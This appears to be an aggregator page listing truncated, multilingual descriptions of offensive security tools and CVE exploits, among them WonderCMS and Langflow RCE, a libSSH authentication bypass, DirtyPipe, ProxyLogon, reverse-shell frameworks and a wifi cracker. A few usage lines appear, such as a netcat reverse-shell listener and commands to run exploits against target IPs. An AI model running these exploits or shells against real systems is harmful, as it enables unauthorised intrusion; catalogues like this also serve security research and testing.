CVE-2023-41425-RCE-WonderCMS-4.3.2

🚨 Strumento di Exploit RCE per WonderCMS CVE-2023-41425 Questo strumento offensivo di sicurezza basato su Python automatizza lo sfruttamento di una vulnerabilità di Remote Code Execution RCE in WonderCMS 4.3.2 , in particolare la CVE-2023-41425. Semplifica il processo di creazione di un modulo te...

hackEmbedded

hackebds 🔗readme بالصينية نظرة عامة hackebds هي مجموعة أدوات لتوليد حمولات الأجهزة المدمجة، وسير عمل الصدفات المشفرة، ونفق وكيل SOCKS5، والبحث عن معلومات الأجهزة. يستخدم الفرع الحالي سير عمل ELF نقي للصدفة المشفرة وميزات الوكيل: reverseshellfile + encryptedshellserver / reverseshellserver...

PwnLnX

PwnLnX Una reverse shell Python avanzata multi-thread e multi-client per l'hacking di sistemi Linux. C'è ancora lavoro da fare, quindi sentiti libero di contribuire allo sviluppo. Disclaimer : Questa reverse shell dovrebbe essere utilizzata solo per l'amministrazione remota lecita di sistemi...

CVE-2018-10933-libSSH-Authentication-Bypass

libSSH-Bypass di Autenticazione Accedi a una shell senza credenziali utilizzando CVE-2018-10933 Informazioni su CVE-2018-10933 di libSSH : https://www.libssh.org/security/advisories/CVE-2018-10933.txt Rilascio del fix di libSSH :...

CVE-2025-0282-Ivanti-exploit

CVE-2025-0282-Ivanti-exploit CVE-2025-0282 ist eine kritische Schwachstelle in Ivanti Connect Secure, die Remote-Befehlsausführung RCE durch einen Buffer-Overflow-Exploit ermöglicht. Diese Schwachstelle ermöglicht es Angreifern, schädliche Dateien z. B. Web-Shells hochzuladen und Befehle mit...

netpwn

netpwn Un framework progettato per automatizzare i compiti di pentesting. Scritto in Python 2.7 Moduli reverseshell - Crea una reverse shell con Python per connettersi a una macchina specifica a tua scelta. sendfile - Permette di inviare un file al server di destinazione. phpbackdoor - Genera una...

moveit-payload-decrypt-CVE-2023-34362

moveit-payload-decrypt-CVE-2023-34362 Este script shell, dado o OrgKey 0, irá analisar o cabeçalho dos artefatos base64 encontrados nos logs do MOVEit e descriptografar o objeto Serializado usado um payload...

CVE-2023-24249-PoC

CVE-2023-24249 PoC CVE-2023-24249 laravel-admin v1.8.19 में एक मनमानी फ़ाइल अपलोड भेद्यता है। यह प्रूफ ऑफ कॉन्सेप्ट भेद्यता का शोषण करके एक वेब शैल अपलोड करता है। यह एक्सप्लॉइट HackTheBox की आसान मशीन Usage के विरुद्ध उपयोग के लिए लिखा गया था। उदाहरण root@kitploit: python3 CVE-2023-24249.py + Web...

CVE-2023-30258-magnus-billing-v7-exploit

Exploit di Magnus Billing System v7 Questo script Python automatizza lo sfruttamento di una vulnerabilità di iniezione di comandi in Magnus Billing System v7, in particolare nello script icepay.php situato in /mbilling/lib/icepay/icepay.php. L'exploit sfrutta il parametro democ per eseguire coman...

DirtyPipePython

dirty.py Descrição Este é um exploit para a vulnerabilidade do kernel Linux CVE-2022-0847 DirtyPipe descoberta por Max Kellerman. Este código combina dois POCs existentes de DirtyPipe em um só: febinrev Sobrescreve o binário sudo para obter diretamente um shell root eremus-dev Uma cópia direta do...

RCE-CVE-2025-3248

Authentifizierte CVE-2025-3248 Langflow Remote Code Execution Dieses Python-Skript nutzt CVE-2025-3248 aus, um beliebige Befehle auszuführen oder eine Reverse Shell auf einem verwundbaren System zu starten. Für die Nutzung dieses Exploits ist eine Authentifizierung erforderlich. Funktionen...

CVE-2025-32433-exploit

CVE-2025-32433-exploit rlwrap -cAr nc -lnvp 4444 python3 exploit.py...

wifi-hacker

Shell-Skript zum Angreifen drahtloser Verbindungen mit integrierten Kali-Tools. Unterstützt alle Sicherheitsstandards WEP, WPS, WPA, WPA2 !...

CVE-2026-24061

Scanner e Exploiter di Vulnerabilità Telnet Questo script Python main.py è uno strumento multi-thread progettato per scansionare un elenco di IP/hostname target e tentare di sfruttare una specifica vulnerabilità tramite Telnet. !WARNING Questo strumento è destinato esclusivamente a scopi educativ...

cve-2021-31630

cve-2021-31630 OpenPLC WebServer v3 - Authentifizierte RCE Dieses PoC-Skript basiert auf dem Exploit von Fellipe Oliveira. Funktionen : Lädt C-Code direkt nach /hardware hoch anstatt eines .st-Datei-Uploads Stellt das Standardprogramm vor dem Hochladen der Reverse Shell wieder her Verbesserte...

CVE-2020-0796

CVE-2020-0796 動作するエクスプロイトPoC CVE-2020-0796 - リバースバインドシェル Python2.7でテスト済み インストール方法: pip install -r requirements.txt 実行方法: python CVE-2020-0796-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

CVE-2025-32463-Chwoot-POC

CVE-2025-32463 Exploit EoP per Sudo PoC in Rust Utilizzo del binario precompilato 1. Clona il repository ed esegui il binario sulla macchina di destinazione. root@kitploit: git clone https://github.com/krypton-0x00/CVE-2025-32463-Chwoot-POC.git cd CVE-2025-32463-Chwoot-POC ./exploit Compila dal...

CVE-2004-1561

CVE-2004-1561 Icecast Header Overwrite buffer overflow RCE Aggiornamento per 568-edit.c Sono riuscito a far funzionare l'exploit originale. Modificato secondo questo. Utilizzo per 568-edit.c root@kitploit: root@Kali:/TryHackme/Ice gcc 568-edit.c -o 568 root@Kali:/TryHackme/Ice ./568 192.168.92.13...

poc_proxylogon

pocproxylogon Microsoft Exchange ProxyLogon PoC CVE-2021-26855 Dieses Skript wurde ursprünglich von celesian erstellt, um diese CVE auszunutzen. Dann habe ich es aktualisiert, um einen Exchange-Server auszunutzen, der anfällig für SSRF ist, aber es bekam eine Shell durch Ausnutzung der...

CVE-2021-22205

CVE-2021-22205 Outil CVE-2021-22205 RCE, réservé uniquement au partage et à la communication. Ne pas l'utiliser pour des tests non autorisés, sous peine de dégager l'auteur de toute responsabilité. root@kitploit: -R string VPS pour charger des outils, ex : -R 127.0.0.1:8083 -T string Nom de...